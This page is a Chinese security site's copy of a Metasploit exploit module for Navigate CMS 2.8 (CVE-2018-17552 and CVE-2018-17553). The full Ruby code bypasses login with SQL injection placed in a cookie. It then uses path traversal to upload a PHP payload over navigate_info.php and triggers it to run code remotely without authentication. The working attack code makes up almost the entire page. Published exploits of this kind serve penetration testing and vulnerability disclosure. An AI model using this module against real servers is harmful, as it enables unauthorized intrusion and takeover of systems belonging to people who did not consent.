首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Navigate CMS Unauthenticated Remote Code Execution
来源:metasploit.com 作者:Pyriphlegethon 发布时间:2018-10-08  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
      'Description' => %q(
        This module exploits insufficient sanitization in the database::protect
        method, of Navigate CMS versions 2.8 and prior, to bypass authentication.

        The module then uses a path traversal vulnerability in navigate_upload.php
        that allows authenticated users to upload PHP files to arbitrary locations.
        Together these vulnerabilities allow an unauthenticated attacker to
        execute arbitrary PHP code remotely.

        This module was tested against Navigate CMS 2.8.
      ),
      'Author' =>
        [
          'Pyriphlegethon' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2018-17552'], # Authentication bypass
          ['CVE', '2018-17553']  # File upload
        ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Automatic', {}]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 26 2018'))

    register_options [
      OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
    ]
  end

  def login_bypass
    check_resp = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/login.php')
    )

    login_bypass_resp = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login.php'),
      'cookie' => 'navigate-user=\" OR TRUE--%20'
    )

    if login_bypass_resp &&
       login_bypass_resp.code == 302 &&
       check_resp.body.include?('Navigate CMS')
      session_id = login_bypass_resp.get_cookies_parsed
                                    .values.select { |v| v.to_s.include?('NVSID_') }
                                    .first.first
      return session_id
    end
  end

  def check
    return CheckCode::Vulnerable if login_bypass
    CheckCode::Safe
  end

  def exploit
    session_id = login_bypass
    fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id

    print_good('Login bypass successful')

    php = payload.encoded
    data = Rex::MIME::Message.new
    data.add_part(php, 'image/jpeg', nil,
      "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
    data_post = data.to_s

    upload = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
      'vars_get' => Hash[{
        'session_id' => session_id,
        'engine' => 'picnik',
        'id' => '../../../navigate_info.php'
      }.to_a.shuffle],
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post
    )

    fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
    fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200

    print_good('Upload successful')

    print_status('Triggering payload...')
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
    )
  end

  def on_new_session(session)
    super
    if session.type != 'meterpreter'
      print_error('Unable to restore navigate_info.php')
      return
    end

    session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')

    begin
      session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
    rescue
      print_error('Unable to restore navigate_info.php')
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows Net-NTLMv2 Reflection
·Zahir Enterprise Plus 6 Stack
·Easy File Sharing Web Server 7
·Unitrends UEB HTTP API Remote
·ISPConfig < 3.1.13 - Remote Co
·NICO-FTP 3.0.1.19 - Buffer Ove
·FLIR Thermal Traffic Cameras 1
·FTP Voyager 16.2.0 - Denial of
·360 3.5.0.1033 - Sandbox Escap
·H2 Database 1.4.196 - Remote C
·Imperva SecureSphere 13 - Remo
·Zahir Enterprise Plus 6 build
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved